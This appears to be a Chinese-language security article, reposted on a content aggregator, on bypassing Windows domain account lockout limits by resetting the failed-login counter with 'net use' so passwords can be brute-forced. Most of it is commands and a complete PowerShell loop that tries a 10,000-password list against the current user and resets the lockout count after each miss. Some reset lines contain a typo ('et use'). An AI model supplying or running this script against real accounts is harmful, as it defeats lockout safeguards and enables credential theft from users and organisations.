原標題：繞過域賬戶認證失敗鎖定次數限制的技巧

*本文僅用于教育目的。 切勿在未授權的計算機上進行安全測試。

獲取用戶帳戶密碼有很多好方法，這只是另一種方式。 好的，讓我們開始吧。核心思路是，用戶想要爆破身份驗證，他們就可以運行“net use \\％computername％/ u：％username％”命令，該命令可以重新要求身份驗證并重置鎖定計數。要想進行操作，您需要從Microsoft下載遠程服務器管理工具安裝該工具后，運行一小段powershell腳本以顯示我的JoeUser帳戶信息并鎖定。

get-aduser -filter * -prop lastbadpasswordattempt, badpwdcount, lockedout | select name, lastbadpasswordattempt, badpwdcount,lockedout | format-table -auto

在我的本地策略中，您可以看到我在3次無效登錄嘗試后被鎖定(我從Microsoft獲得的默認安裝值)。

接下來我將輸入錯誤的密碼，window將記錄我的錯誤次數。

現在我將使用命令清除錯誤的密碼嘗試：“Net use \\％computername％/ u：％username％”注意我沒有指定密碼。 我已經以用戶身份登錄，它似乎使用當前用戶的上下文進行身份驗證，并清除了錯誤的密碼計數！

現在我可以使用這種技術爆破密碼。 唯一的缺點是我必須在每次設置后刪除共享。 例如，現在我已經進行了共享設置，如果我嘗試爆破密碼，我會收到此消息

然而只需一條命令即可“Net Use /Delete \\%computername%”

正式測試，我使用Daniel Miesslers SecLists的前10000名密碼列表來爆破。正確的密碼也在里面。

$userVar = Get-ChildItem env:username $uname = $userVar.Value $computerVar = Get-ChildItem env:computername $computerName = $computerVar.Value $ErrorActionPreference = "Stop" $hooray = "PasswordNotFoun" $CurrentPath = "C:\Users\Public" $FileName = "10-million-password-list-top-10000.txt" $FName= "$CurrentPath\$FileName" foreach($value in [System.IO.File]::ReadLines($Fname)) { $passAttempt = ('net use \\' + $computerName + ' "' + $value + '"' + '/u:' + $uname ) try { Write-Output ("trying password " + $value) $output = Invoke-Expression $passAttempt | Out-Null $hooray = $value write-output ("FOUND the user password: " + $value) $reset = ('et use \\' + $computername + ' /u:'+ $uname ) Invoke-Expression $reset | Out-Null $deleteShare = ('net use /delete \\' + $computername ) Invoke-Expression $deleteShare | Out-Null break } catch { $reset = ('et use \\' + $computername + '/u:' + $uname ) Invoke-Expression $reset | Out-Null $deleteShare = ('et use /delete \\'+ $computername ) Invoke-Expression $deleteShare | Out-Null } } write-host "The Password is: "$hooray

成功爆破

*參考來源：medium，FB小編周大濤編譯，轉載請注明來自FreeBuf.COM 返回搜狐，查看更多

責任編輯：

總結

以上是生活随笔為你收集整理的android域账号认证失败,绕过域账户认证失败锁定次数限制的技巧的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。